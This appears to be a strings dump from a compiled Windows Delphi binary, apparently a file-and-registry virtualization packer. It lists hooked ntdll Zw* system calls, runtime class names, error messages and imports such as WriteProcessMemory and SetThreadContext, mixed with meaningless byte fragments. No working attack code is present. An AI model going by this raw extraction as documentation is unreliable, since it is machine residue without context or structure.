ShortInt
LongWord
String
Array
ByRef
Variants
_^[YY]
EOleError
EOleSysError
EOleException
Apartment
Neutral
ole32.dll
CoCreateInstanceEx
CoInitializeEx
CoAddRefServerProcess
CoReleaseServerProcess
CoResumeClassObjects
CoSuspendClassObjects
QQQQQQQQSV
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'(),-./:?
!"#$%&*;<=>@[]^_`{|}
EStreamError
EFileStreamError
EFCreateError
EFOpenError
EFilerError
EReadError
EWriteError
EListError
EStringListError
TThreadList
TPersistent
TPersistent
Classes
IStringsAdapter
Classes
TStrings
TStrings
Classes
TStringItem
TStringList
TStringList
Classes
TStream
THandleStream
TFileStream
TRegGroup
TRegGroups
Strings
S$_^[Y]
_^[YY]
SdZ]_^[
$Z]_^[
_^[YY]
ETntGeneralError
TWideFileName
TSearchRecWp
QQQQQS
TNtDllHook$
ZwClose
ZwSetInformationFile
ZwQueryInformationFile
ZwReadFile
ZwCreateFile
ZwOpenFile
ZwQueryAttributesFile
ZwCreateSection
ZwMapViewOfSection
ZwQuerySection
ZwUnmapViewOfSection
ZwQueryFullAttributesFile
ZwWriteFile
ZwQueryObject
ZwQueryDirectoryFile
ZwOpenSection
ZwDuplicateObject
ZwQueryVolumeInformationFile
ZwDeleteFile
ZwLockFile
ZwUnlockFile
ZwTerminateProcess
ZwOpenKey
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
ZwAccessCheck
ZwExtendSection
ZwFlushBuffersFile
ZwFsControlFile
ZwNotifyChangeDirectoryFile
ZwQuerySecurityObject
ZwSetSecurityObject
ZwSetVolumeInformationFile
ZwOpenKeyEx
ZwCreateProcess
ZwCreateProcessEx
ZwCreateUserProcess
ZwResumeThread
ZwCreateThread
ZwQueryInformationProcess
ZwQueryVirtualMemory
ZwDeviceIoControlFile
ZwUnmapViewOfSectionEx
ZwQueryDirectoryFileEx
kernel32.dll
IsWow64Process
kernel32.dll
GetNativeSystemInfo
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
SWVQRP
ntdll.dll
ZwProtectVirtualMemory
ntdll.dll
ZwClose
ntdll.dll
ZwQueryInformationFile
ntdll.dll
ZwSetInformationFile
ntdll.dll
ZwFlushBuffersFile
ntdll.dll
ZwWriteFile
ntdll.dll
ZwCreateFile
_^[YY]
ntdll.dll
kernel32.dll
GetProcAddress
WideStringHashUnit
TWideStringHash
TVirtualBoxDriveItem
TVirtualBoxRegistryRootItem
TVirtualBoxChildProcessX
virtualboxunit
CPEImage
virtualboxunit
virtualboxunit
virtualboxunit
CVirtualBox
_^[YY]
_^[YY]
_^[YY]
ERROR: ZwQueryVirtualMemory, Unsupported class %d
ZwQuerySection, Unsupported class %d
ntdll.dll
InitializeSelf
_^[YY]
_^[YY]
KeySetValue unsupported value type
WARNING: ZwQueryValueKey, unsupported class %d
WARNING: ZwQueryKey, unsupported class %d
u^h8vD
_^[YY]
ZwQueryObject with unsupported class
ZwQueryObject with unsupported class
WARNING ReadTreeInformation with unsupported class
WARNING ZwQueryDirectoryFile with unsupported class
_^[YY]
ZwSetInformationFile with unsupported class
_^[YY]
QQQQSVW
DllRegisterServer
DllInstall
Software
_^[YY]
_^[YY]
GetErrorMode
kernel32.dll
TSxsGenerateContext_XP|
TSxsGenerateContext_Vista
TSxsGenerateContext_Seven
RtlCreateActivationContext
ntdll.dll
sxs.dll
SxsGenerateActivationContext
_^[YY]
kernel32.dll
CreateActCtxW
TStringPart
CFileDescription
virtualboxglobalsunit
CVirtualBoxGlobals
TVirtualPackageX
TMapTemporaryFile
TVirtualBoxAsZwMap
CHandlesList
TVirtualBoxRegistryItemH
CVirtualBoxTreeItem
_^[YY]
P$YZ_^
P,YZ_^
P4YZ_^
P<YZ_^
E#+E/^ZY
THookWindowsAPI
ZwClose
ZwCreateFile
ZwOpenFile
ZwCreateSection
ZwMapViewOfSection
ZwUnmapViewOfSection
ZwUnmapViewOfSectionEx
ZwReadFile
ZwQueryInformationFile
ZwSetInformationFile
ZwQueryAttributesFile
ZwQuerySection
ZwQueryFullAttributesFile
ZwWriteFile
ZwDeviceIoControlFile
ZwQueryObject
ZwQueryDirectoryFile
ZwQueryDirectoryFileEx
ZwOpenSection
ZwDuplicateObject
ZwDeleteFile
ZwLockFile
ZwUnlockFile
ZwTerminateProcess
ZwQueryVirtualMemory
ZwQueryVolumeInformationFile
ZwSetVolumeInformationFile
ZwAccessCheck
ZwExtendSection
ZwFlushBuffersFile
ZwFsControlFile
ZwNotifyChangeDirectoryFile
ZwQuerySecurityObject
ZwSetSecurityObject
ZwCreateProcess
ZwCreateProcessEx
ZwCreateUserProcess
ZwResumeThread
ZwCreateThread
ZwQueryInformationProcess
ZwOpenKey
ZwOpenKeyEx
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
SVWh@JE
_^[YY]
ntdll.dll
kernel32.dll
GetProcAddress
CDotNet
QQQQQQQSVW
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
CGlobalPaths
Cannot load library
Cannot find function %s in library %s
Cannot find function ordinal %d in library %s
Memory Protection failed...
ntdll.dll
RtlGetCurrentPeb
EVB_%.16x_%.8x
ntdll.dll
Runtime error at 00000000
0123456789ABCDEF
Qkkbal
This program must be run under Win32
ntdll.dll
ZwOpenFile
This program must be run under Win32
.section
ntdll.dll
ZwOpenFile
kernel32.dll
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
VirtualFree
VirtualAlloc
LocalFree
LocalAlloc
GetTickCount
QueryPerformanceCounter
GetVersion
GetCurrentThreadId
InterlockedDecrement
InterlockedIncrement
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenA
lstrcpynA
LoadLibraryExA
GetThreadLocale
GetStartupInfoA
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetCommandLineA
FreeLibrary
FindFirstFileA
FindClose
ExitProcess
ExitThread
WriteFile
UnhandledExceptionFilter
RtlUnwind
RaiseException
GetStdHandle
user32.dll
GetKeyboardType
LoadStringA
MessageBoxA
CharNextA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
kernel32.dll
TlsSetValue
TlsGetValue
TlsFree
TlsAlloc
LocalFree
LocalAlloc
advapi32.dll
RegOpenKeyA
kernel32.dll
WriteProcessMemory
WriteFile
WideCharToMultiByte
WaitForSingleObject
VirtualQuery
VirtualProtectEx
VirtualProtect
VirtualFree
VirtualAllocEx
VirtualAlloc
SystemTimeToFileTime
SizeofResource
SetThreadContext
SetLastError
SetFileTime
SetFilePointer
SetFileAttributesW
SetFileAttributesA
SetEvent
SetErrorMode
SetEndOfFile
SetCurrentDirectoryW
SetCurrentDirectoryA
ResetEvent
RemoveDirectoryW
RemoveDirectoryA
ReadProcessMemory
ReadFile
QueryDosDeviceW
PostQueuedCompletionStatus
MultiByteToWideChar
LockResource
LoadResource
LoadLibraryW
LoadLibraryA
LeaveCriticalSection
IsBadWritePtr
IsBadStringPtrW
IsBadReadPtr
InitializeCriticalSection
GetWindowsDirectoryW
GetWindowsDirectoryA
GetVersionExA
GetVersion
GetThreadLocale
GetThreadContext
GetTempPathW
GetTempPathA
GetTempFileNameW
GetTempFileNameA
GetSystemDirectoryW
GetSystemDirectoryA
GetStringTypeExW
GetStringTypeExA
GetStdHandle
GetProcAddress
GetModuleHandleA
GetModuleFileNameW
GetModuleFileNameA
GetLogicalDriveStringsW
GetLocaleInfoW
GetLocaleInfoA
GetLocalTime
GetLastError
GetFullPathNameW
GetFullPathNameA
GetFileSize
GetFileAttributesW
GetFileAttributesA
GetDiskFreeSpaceA
GetDateFormatA
GetCurrentThreadId
GetCurrentProcessId
GetCurrentProcess
GetCurrentDirectoryW
GetCurrentDirectoryA
GetCPInfo
GetACP
FreeResource
FreeLibrary
FormatMessageA